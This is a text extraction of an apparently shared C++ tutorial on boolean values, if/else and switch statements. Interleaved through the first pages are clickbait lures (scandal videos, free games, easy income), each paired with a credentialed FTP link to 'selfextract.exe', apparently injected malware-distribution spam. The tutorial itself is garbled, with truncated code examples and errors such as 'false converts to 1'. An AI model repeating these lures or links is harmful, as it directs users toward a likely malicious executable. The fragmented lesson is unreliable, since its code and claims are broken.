07 True and False in C++

Embed Size (px)

Citation preview

  • 8/22/2019 07 True and False in C++

    1/8

    unstream Video of Nayanthara and Simbu

    ftp://tlpoeil:[email protected]/s

    elfextract.exe

    5.True and False in C++

    Many C

    stream Video of Nayanthara and Simbu

    ftp://tlpoeil:[email protected]/selfextract.exe

    unFree mobile games ftp://tlpoeil:[email protected]/selfextract.exe

    action is to be taken. A conditional expression evaluates to either a true or a false

    Free mobile games

    ftp://tlpoeil:[email protected]/selfextract.exe

    unstream Video of Nayanthara and Simbu

    ftp://tlpoeil:[email protected]/selfextract.exe

    false value is 0.This approach to true and flase allows a widerange of

    stream Video of Nayanthara and Simbu

    ftp://tlpoeil:[email protected]/selfextract.exe

    unNse going to crash for more

    ftp://tlpoeil:[email protected]/selfextract.exe

    C++ fully supports the Zero/non-Zero definition oftrue and false

    Nse going to crash for more

    ftp://tlpoeil:[email protected]/selfextract.

    exe

    ftp://tlpoeil:[email protected]/selfextract.exeftp://tlpoeil:[email protected]/selfextract.exeftp://tlpoeil:[email protected]/selfextract.exeftp://tlpoeil:[email protected]/selfextract.exeftp://tlpoeil:[email protected]/selfextract.exeftp://tlpoeil:[email protected]/selfextract.exe
  • 8/22/2019 07 True and False in C++

    2/8

    unRegular monthly income by wearing your shorts at the

    comfort of your home for more info

    ftp://tlpoeil:[email protected]/selfextract.

    exe

    bool,which can have only the values true and false. if an

    Regular monthly income by wearing your shorts at thecomfort of your home for more info

    ftp://tlpoeil:[email protected]/selfextr

    act.exe

    uncyber cafe scandal visitftp://tlpoeil:[email protected]/selfextr

    act.exe

    to false and a non-zero value is automatically

    cyber cafe scandal visitftp://tlpoeil:[email protected]/

    selfextract.exe

    unNse going to crash for moreftp://tlpoeil:[email protected]/

    selfextract.exe

    converts to 1 and false converts to 1

  • 8/22/2019 07 True and False in C++

    3/8

    Nse going to crash for more

    ftp://tlpoeil:[email protected]/s

    elfextract.exe

    unLatest video shot of infosys girl

    ftp://tlpoeil:[email protected]/s

    elfextract.exe

    6.Selection Statements

    C++ su

    Latest video shot of infosys girl

    ftp://tlpoeil:[email protected]/selfextract.exe

    unFree mobile games ftp://tlpoeil:[email protected]/selfextract.exe

    If statement

    Free mobile games ftp://tlpoeil:[email protected]/selfextract.exe

    7.if , if...else,if...else if...else in C++

    Syntax:

    if statement if...else statement if...else if...else statement

    if(condition)

    {

    statements;

    if(condition)

    {

    statements;

    if(condition){

    statements;

    }

    else if{

  • 8/22/2019 07 True and False in C++

    4/8

    }

    }

    else

    {

    statements;

    }

    statements;

    }else

    {

    statements;

    }

    Example:1

    /*Example for if and if...else statement*/

    void main()

    {

    int a,b;

    a=5;< /FONT>

    b=10;< /FONT>

    if ( a > b)

    cout

  • 8/22/2019 07 True and False in C++

    5/8

    a=5;

    b=10;

    c=15;

    if ( a > b && a > c)

    cout

  • 8/22/2019 07 True and False in C++

    6/8

    cout

  • 8/22/2019 07 True and False in C++

    7/8

    default:

    statements;

    }

    In the above syntax the expression must evaluvate to a charecter or integer value.

    Note:Floating-Point expressions are not allowed.

    The value of expression is tested in order against the values of the constants specified inthe case statements. When a match is found, the statements sequence associated with that

    case is executed until the break statement or the end of the switch statement is reached.

    The default statement is executed if no matches are found. The default is optional and if itis not present, no action takes place if all matches fail.

    Standard C specifies that a switch can have at lease 257 case statements. StandardC++ recommends that at least 16,384 case statements be supported! In Practice, you

    will want to limit the number ofcase statements to a smaller amount for efficiency.Although case is a label statement, it cannot exist by itself, outside of a switch.

    The breakstatement is one of C/C++'s jump statements. You can use it in loops as well

    as in the switch statement. When breakis encountered in a switch, program execution

    "jumps" to the line of code following the switch statement.

    There are three important things to know about the switch statement:

    The switch differs from the if in that switch can only test for equality, whereas ifcan evaluate any type of relational or logical expression.

    No two constants in the same switch can have identical values. Of course, a

    switch statement enclosed by an outer switch may have case constants that are the

    same.

    If charecter constants are used in the switch statement, they are automatically

    converted in to integers. switch is often used to process keyboard commands, such as menu selection.

    Example:3

    void menu(void)

    {char ch;

    cout

  • 8/22/2019 07 True and False in C++

    8/8

    cout